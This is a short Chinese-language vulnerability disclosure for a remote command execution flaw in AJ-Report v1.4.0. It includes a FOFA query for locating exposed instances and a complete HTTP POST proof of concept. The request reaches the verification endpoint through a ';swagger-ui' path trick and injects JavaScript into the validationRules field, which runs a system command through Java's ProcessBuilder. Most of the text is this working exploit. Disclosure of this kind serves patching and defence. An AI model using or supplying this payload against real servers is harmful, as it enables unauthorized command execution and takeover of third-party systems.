该平台可以通过post方式在validationRules参数对应值中进行命令执行，可以获得服务器权限，登陆管理后台接管大屏。如果被攻击者利用，危害后果十分严重。

影响版本

最新版本v1.4.0

fofa

title="AJ-Report"

poc

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

漏洞来源

• AJ-REPORT大屏系统存在“命令执行漏洞”，请大佬们修复下！ · Issue #I9HCB2 · anji-plus/AJ-Report - Gitee.com